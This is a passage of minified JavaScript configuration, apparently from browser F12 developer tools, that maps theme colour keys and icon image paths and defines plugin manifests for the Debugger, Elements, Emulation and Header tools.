Value"},"plugin-font-editor-css-value-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"CSS Property Value"},"plugin-font-editor-css-selector-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"CSS Selector"},"plugin-font-editor-css-selector-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"CSS Selector"},"plugin-font-editor-inactive-selected-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"Inactive Selected Text"},"plugin-font-editor-selected-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"Selected Text"},"plugin-font-editor-selected-border-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"outlining.collapsehintadornment"},"plugin-font-editor-collapse-adornment-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"outlining.collapsehintadornment"},"plugin-environment-background-gradient-begin":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"EnvironmentBackgroundGradientBegin"},"plugin-filetab-hot-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"FileTabHotText"},"plugin-filetab-inactive-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"FileTabInactiveText"},"plugin-filetab-inactive-gradient-top-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"FileTabInactiveGradientTop"},"plugin-filetab-hot-gradient-top-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"FileTabHotGradientTop"},"plugin-filetab-selected-gradient-top-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"FileTabSelectedGradientTop"},"plugin-filetab-selected-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"FileTabSelectedText"},"plugin-searchcontrol-selection-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"Selection"},"plugin-searchcontrol-unfocused-watermark-text-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"UnfocusedWatermarkText"},"plugin-searchcontrol-unfocused-background-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"Unfocused"},"plugin-searchcontrol-unfocused-border-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"UnfocusedBorder"},"plugin-searchcontrol-mouseover-watermark-text-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"MouseOverWatermarkText"},"plugin-searchcontrol-mouseover-background-background-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"MouseOverBackground"},"plugin-searchcontrol-mouseover-background-foreground-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"ForegroundColor",name:"MouseOverBackground"},"plugin-searchcontrol-mouseover-border-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"MouseOverBorder"},"plugin-pseudo-class-panel-disabled-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"ForegroundColor",name:"ToolboxDisabledContentMouseOver"},"plugin-styles-deleted-item-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"ForegroundColor",name:"Disabled"},"plugin-styles-changebar-add-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"deltadiff.add.word"},"plugin-styles-changebar-update-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ExtensionManagerStarHighlight2"},"plugin-styles-changebar-remove-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"deltadiff.remove.word"},"plugin-commandbar-gradient-begin-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarGradientBegin"},"plugin-vertical-resize-grip-middle-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"VerticalResizeGripMiddle"},"plugin-font-current-line-active-format-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"CurrentLineActiveFormat"},"plugin-font-current-line-inactive-format-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"CurrentLineInactiveFormat"},"plugin-font-editor-current-statement-background-color":{category:"ff349800-ea43-46c1-8c98-878e78f46501",key_type:"BackgroundColor",name:"Current Statement"},"plugin-font-editor-current-statement-color":{category:"ff349800-ea43-46c1-8c98-878e78f46501",key_type:"ForegroundColor",name:"Current Statement"},"plugin-tab-header-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowTabGradientEnd"},"plugin-tab-header-active-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowTabSelectedTab"},"plugin-tab-header-hover-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowTabMouseOverBackgroundBegin"},"plugin-tab-header-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowTabText"},"plugin-tab-header-active-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowTabSelectedText"},"plugin-tab-header-hover-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowTabMouseOverText"},"plugin-breadcrumb-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowBackground"},"plugin-border-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ActiveBorder"},"plugin-breadcrumb-border-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ActiveBorder"},"plugin-breadcrumb-hover-color":{category:"92ecf08e-8b13-4cf4-99e9-ae2692382185",key_type:"ForegroundColor",name:"SelectedItemInactive"},"plugin-breadcrumb-hover-background-color":{category:"92ecf08e-8b13-4cf4-99e9-ae2692382185",key_type:"BackgroundColor",name:"SelectedItemInactive"},"plugin-breadcrumb-selected-color":{category:"92ecf08e-8b13-4cf4-99e9-ae2692382185",key_type:"ForegroundColor",name:"SelectedItemActive"},"plugin-breadcrumb-selected-background-color":{category:"92ecf08e-8b13-4cf4-99e9-ae2692382185",key_type:"BackgroundColor",name:"SelectedItemActive"},"plugin-breadcrumb-tooltip-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"ForegroundColor",name:"ToolTip"},"plugin-breadcrumb-tooltip-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolTip"},"plugin-breadcrumb-tooltip-border-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolTipBorder"},"plugin-perftools-grid-column-sizer":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"VerticalResizeGripMiddle"},"f12-intellisense-hover-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"MenuText"},"f12-intellisense-hover-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"Menu"},"f12-intellisense-checked-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"HighlightText"},"f12-intellisense-checked-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"Highlight"},"f12-toolbar-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarGradientBegin"},"f12-toolbar-button-selected-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarSelected"},"f12-toolbar-button-selected-border-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarSelectedBorder"},"f12-toolbar-button-selected-text-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarTextSelected"},"f12-toolbar-button-hover-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarMouseOverBackgroundBegin"},"f12-toolbar-button-hover-text-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarTextHover"},"f12-toolbar-button-border-hover-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarBorder"},"f12-toolbar-button-pressed-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarMouseDownBackgroundBegin"}},themed_images:{"vs-image-icon-tree-collapsed":{bitmap_source:"common/images/itemCollapsedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"common/images/itemExpandedIcon.png",background_color:"plugin-background-color"},"plugin-image-icon-red-underline":{bitmap_source:"dom/images/red_squiggly.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-show-all-styles":{bitmap_source:"dom/images/i_just_my_code.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-critical":{bitmap_source:"common/images/critical.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-inspect-32x":{bitmap_source:"dom/images/Inspect_32x.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-show-layout-32x":{bitmap_source:"dom/images/ShowLayout_32x.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-refresh-32x":{bitmap_source:"dom/images/Refresh_32x.png",background_color:"plugin-background-color"},"plugin-common-image-icon-next":{bitmap_source:"common/images/i_next.png",background_color:"f12-toolbar-background-color"},"plugin-common-image-icon-previous":{bitmap_source:"common/images/i_previous.png",background_color:"f12-toolbar-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-right":{bitmap_source:"dom/images/BreadcrumbScrollRight.png",background_color:"plugin-breadcrumb-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-right-hover":{bitmap_source:"dom/images/BreadcrumbScrollRightHover.png",background_color:"plugin-breadcrumb-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-left":{bitmap_source:"dom/images/BreadcrumbScrollLeft.png",background_color:"plugin-breadcrumb-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-left-hover":{bitmap_source:"dom/images/BreadcrumbScrollLeftHover.png",background_color:"plugin-breadcrumb-background-color"},"plugin-image-icon-dom-explorer-show-pseudo_classes":{bitmap_source:"dom/images/i_show_pseudo_classes.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-add-CSS-rules":{bitmap_source:"dom/images/AddNewRuleIcon.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-events-collapseAll":{bitmap_source:"dom/images/EventsCollapseAll.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-checkered-background":{bitmap_source:"dom/images/checkered_background.png",background_color:"plugin-background-color"}}},file_aliases:{PerformanceTraceExtension:{path:"PerformanceTrace.dll",optional:!0}}};var i={start_url:"debugger.html",domain:"http://microsoft.com",name:"Debugger",version:"1.0",enabled:!0,pluginId:3,scriptId:"debugger",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Remote",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]}],f12:{localized_tab_resource:"DebuggerTitle",localized_tooltip_id:"DebuggerTooltip",resource_aliases:{Debugger:{is_default:!0},Common:{}},themed_images:{"f12-debugger-image-cursor":{bitmap_source:"..\\debugger\\Cursor\\images\\currentLocationArrow.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-search":{bitmap_source:"..\\debugger\\images\\search.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-error-alert":{bitmap_source:"..\\frontend\\host\\api\\data\\i_alerterror.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-info-alert":{bitmap_source:"..\\frontend\\host\\api\\data\\i_alertinfo.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-error-close":{bitmap_source:"..\\frontend\\host\\api\\data\\closeErrorBox.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-error-help":{bitmap_source:"..\\frontend\\host\\api\\data\\helpErrorBox.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-continue":{bitmap_source:"..\\debugger\\images\\continue.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-break-all":{bitmap_source:"..\\debugger\\images\\breakAll.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-disconnect-debugging":{bitmap_source:"..\\debugger\\images\\disconnectIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-step-into":{bitmap_source:"..\\debugger\\images\\stepInto.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-step-over":{bitmap_source:"..\\debugger\\images\\stepOver.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-step-out":{bitmap_source:"..\\debugger\\images\\stepOut.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-break-worker":{bitmap_source:"..\\debugger\\images\\breakWorker.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-save":{bitmap_source:"..\\debugger\\images\\saveicon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-toggle-pretty-print":{bitmap_source:"..\\Common\\images\\togglePrettyPrint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-toggle-word-wrap":{bitmap_source:"..\\Common\\images\\toggleWordWrap.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-toggle-source-map":{bitmap_source:"..\\debugger\\images\\toggleSourceMap.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-break-on-exceptions":{bitmap_source:"..\\debugger\\images\\breakOnExceptions.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-copy-to-clipboard":{bitmap_source:"..\\debugger\\images\\copyToClipboard.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-content-script-engine":{bitmap_source:"..\\debugger\\images\\contentScriptEngineIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-script-file":{bitmap_source:"..\\debugger\\images\\scriptfileicon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-html-file":{bitmap_source:"..\\debugger\\images\\htmlfileicon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-ts-file":{bitmap_source:"..\\debugger\\images\\tsfileicon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\breakpointGlyph.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-conditional":{bitmap_source:"..\\debugger\\breakpoints\\images\\conditionalBreakpoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-delete-all":{bitmap_source:"..\\debugger\\breakpoints\\images\\deleteAllBreakpoints.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-disabled":{bitmap_source:"..\\debugger\\breakpoints\\images\\breakpointDisabled.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-edit-current":{bitmap_source:"..\\debugger\\breakpoints\\images\\editCurrentBreakpoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-select-all":{bitmap_source:"..\\debugger\\breakpoints\\images\\selectAllBreakpoints.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-tracepoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\tracepointBreakpoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-unbound":{bitmap_source:"..\\debugger\\breakpoints\\images\\breakpointUnbound.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-add-event-tracepoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\addEventTracepoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-add-event-breakpoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\addEventBreakpoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-breakpoint-add-XHR-breakpoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\addXHRBreakpoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-event-breakpoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\eventBreakpoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-event-breakpoint-conditional":{bitmap_source:"..\\debugger\\breakpoints\\images\\eventBreakpointConditional.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-event-breakpoint-disabled":{bitmap_source:"..\\debugger\\breakpoints\\images\\eventBreakpointDisabled.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-event-breakpoint-unbound":{bitmap_source:"..\\debugger\\breakpoints\\images\\eventBreakpointUnbound.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-event-tracepoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\eventTracepoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-event-tracepoint-disabled":{bitmap_source:"..\\debugger\\breakpoints\\images\\eventTracepointDisabled.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-event-tracepoint-unbound":{bitmap_source:"..\\debugger\\breakpoints\\images\\eventTracepointUnbound.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-xhr-breakpoint":{bitmap_source:"..\\debugger\\breakpoints\\images\\xhrBreakpoint.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-xhr-breakpoint-disabled":{bitmap_source:"..\\debugger\\breakpoints\\images\\xhrBreakpointDisabled.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-xhr-breakpoint-unbound":{bitmap_source:"..\\debugger\\breakpoints\\images\\xhrBreakpointUnbound.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-callstack-active-frame":{bitmap_source:"..\\debugger\\Callstack\\images\\activeFrameGlyph.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-callstack-instruction-pointer":{bitmap_source:"..\\debugger\\Callstack\\images\\instructionPointerGlyph.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-callstack-pause-worker":{bitmap_source:"..\\debugger\\Callstack\\images\\pauseWorker.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-callstack-toggle-async-frames":{bitmap_source:"..\\debugger\\Callstack\\images\\toggleAsyncFrames.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-callstack-toggle-jmc-frames":{bitmap_source:"..\\debugger\\Callstack\\images\\toggleJMCFrames.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-css-file":{bitmap_source:"..\\debugger\\images\\cssfileicon.png",background_color:"plugin-font-editor-background-color"},"f12-image-previewtab-icon":{bitmap_source:"..\\Common\\images\\previewTabIcon.png",background_color:"plugin-font-editor-background-color"},"f12-image-previewtab-close":{bitmap_source:"..\\Common\\images\\previewTabClose.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-diff-icon":{bitmap_source:"..\\Common\\images\\diffIcon.png",background_color:"plugin-font-editor-background-color"},"f12-image-diff-tab-icon":{bitmap_source:"..\\debugger\\images\\diffTabIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-redirect-icon":{bitmap_source:"..\\debugger\\images\\redirectIcon.png",background_color:"plugin-font-editor-background-color"},"f12-image-common-icons":{bitmap_source:"..\\Common\\images\\common_icons.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-file-picker":{bitmap_source:"..\\Common\\images\\filepicker.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-files-node":{bitmap_source:"..\\debugger\\images\\filesnodeicon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-next":{bitmap_source:"..\\Common\\images\\i_next.png",background_color:"plugin-searchcontrol-mouseover-background-background-color"},"f12-debugger-image-find-previous":{bitmap_source:"..\\Common\\images\\i_previous.png",background_color:"plugin-searchcontrol-mouseover-background-background-color"},"f12-debugger-image-grid-control-add-row":{bitmap_source:"..\\Common\\images\\add_row.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-grid-control-column-move":{bitmap_source:"..\\Common\\images\\columnmove.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-images-item-collapsed":{bitmap_source:"..\\Common\\images\\itemCollapsedIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-images-item-expanded":{bitmap_source:"..\\Common\\images\\itemExpandedIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-images-library-code-icon":{bitmap_source:"..\\debugger\\images\\libraryCodeIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-images-my-code-icon":{bitmap_source:"..\\debugger\\images\\libraryCodeIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-toolbar-button-image-my-code-icon":{bitmap_source:"..\\debugger\\images\\toolbarMyCodeIcon.png",background_color:"plugin-font-editor-background-color"},"f12-image-misc-icons":{bitmap_source:"..\\Common\\images\\misc_icons.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-results":{bitmap_source:"..\\debugger\\LanguageService\\images\\findResults.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-results-clear-results":{bitmap_source:"..\\debugger\\LanguageService\\images\\clearResults.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-results-close":{bitmap_source:"..\\debugger\\LanguageService\\images\\debuggerclose.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-results-next-result":{bitmap_source:"..\\debugger\\LanguageService\\images\\nextResult.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-results-pin":{bitmap_source:"..\\debugger\\LanguageService\\images\\pin.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-filepicker-pin":{bitmap_source:"..\\debugger\\LanguageService\\images\\pin.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-results-previous-result":{bitmap_source:"..\\debugger\\LanguageService\\images\\previousResult.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-find-results-unpin":{bitmap_source:"..\\debugger\\LanguageService\\images\\unpin.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-filepicker-unpin":{bitmap_source:"..\\debugger\\LanguageService\\images\\unpin.png",background_color:"plugin-font-editor-background-color"},"f12-image-tab-control-close":{bitmap_source:"..\\Common\\images\\tabclose.png",background_color:"plugin-font-editor-background-color"},"f12-image-tab-control-next":{bitmap_source:"..\\Common\\images\\debuggerNextTab.png",background_color:"plugin-font-editor-background-color"},"f12-image-tab-control-previous":{bitmap_source:"..\\Common\\images\\debuggerPrevTab.png",background_color:"plugin-font-editor-background-color"},"f12-image-tree-icons":{bitmap_source:"..\\Common\\images\\tree_icons.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-add-watch":{bitmap_source:"..\\debugger\\Watches\\images\\addWatch.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-delete-watch":{bitmap_source:"..\\Common\\images\\i_delete.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-delete-all":{bitmap_source:"..\\debugger\\Watches\\images\\deleteAll.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-function":{bitmap_source:"..\\debugger\\images\\functionIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-not-a-function":{bitmap_source:"..\\debugger\\images\\notAFunctionIcon.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-function-mapped":{bitmap_source:"..\\debugger\\images\\functionIconMapped.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-not-a-function-mapped":{bitmap_source:"..\\debugger\\images\\notAFunctionIconMapped.png",background_color:"plugin-font-editor-background-color"},"f12-debugger-image-watches-return-value":{bitmap_source:"..\\debugger\\images\\returnValue.png",background_color:"plugin-font-editor-background-color"},"plugin-menu-item-checkmark":{bitmap_source:"..\\Common\\images\\checkmark.png",background_color:"plugin-font-editor-background-color"},"vs-image-icon-tree-collapsed":{bitmap_source:"..\\Common\\images\\itemCollapsedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"..\\Common\\images\\itemExpandedIcon.png",background_color:"plugin-background-color"},"f12-dmbp-image-rebind-breakpoint":{bitmap_source:"..\\Common\\images\\refreshState.png",background_color:"plugin-background-color"},"f12-dmbp-image-delete-breakpoint":{bitmap_source:"..\\Common\\images\\i_delete.png",background_color:"plugin-background-color"},"f12-dmbp-image-rebind-all":{bitmap_source:"..\\Common\\images\\refreshState.png",background_color:"plugin-background-color"},"f12-dmbp-image-toggle-enable-all":{bitmap_source:"..\\Common\\DomMutations\\images\\domSelectAllBreakpoints.png",background_color:"plugin-background-color"},"f12-dmbp-image-delete-all":{bitmap_source:"..\\Common\\DomMutations\\images\\domDeleteAllBreakpoints.png",background_color:"plugin-background-color"},"f12-dmbp-unbound-icon":{bitmap_source:"..\\Common\\images\\i_warning.png",background_color:"plugin-background-color"}}},file_aliases:{PerformanceTraceExtension:{path:"PerformanceTrace.dll",optional:!0}}};var a={domain:"http://microsoft.com",enabled:!0,f12:{localized_tab_resource:"ElementsToolLabelText",localized_tooltip_id:"ElementsToolTooltip",resource_aliases:{Common:{is_default:!0}},start_url:"elements.html",themed_images:{}},launchers:[{hostTypes:["Tab","ExtensionBackground","ExtensionPopup"],mode:"Remote"}],name:"Elements",pluginId:11,scriptId:"elements",start_url:"elements/elements.html",version:"4.0"};var s={start_url:"emulation.html",domain:"http://microsoft.com",name:"Emulation",version:"1.0",enabled:!0,pluginId:4,scriptId:"emulation",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"ChooserViaVS",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]}],f12:{localized_tab_resource:"EmulationTitle",localized_tooltip_id:"EmulationTitle",resource_aliases:{Common:{is_default:!0}},themed_images:{"f12-emulation-image-info-button":{bitmap_source:"..\\emulation\\infoButton.png",background_color:"plugin-background-color"},"f12-emulation-image-delete":{bitmap_source:"..\\common\\images\\i_delete.png",background_color:"plugin-background-color"},"f12-emulation-image-persist-settings":{bitmap_source:"..\\emulation\\i_persistSettings.png",background_color:"plugin-background-color"},"f12-emulation-image-reset-settings":{bitmap_source:"..\\emulation\\i_resetSettings.png",background_color:"plugin-background-color"}}},file_aliases:{PerformanceTraceExtension:{path:"PerformanceTrace.dll",optional:!0}}};var l={start_url:"header.html",domain:"http://microsoft.com",name:"Header",version:"1.0",enabled:!0,pluginId:0,scriptId:"header",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"ChooserViaVS",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Remote",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]}],f12:{resource_aliases:{Header:{is_default:!0},Common:{}}}},c=n(6);var u={start_url:"MemoryAnalyzer\\memoryAnalyzer.html",domain:"http://microsoft.com",name:"JavaScript Memory 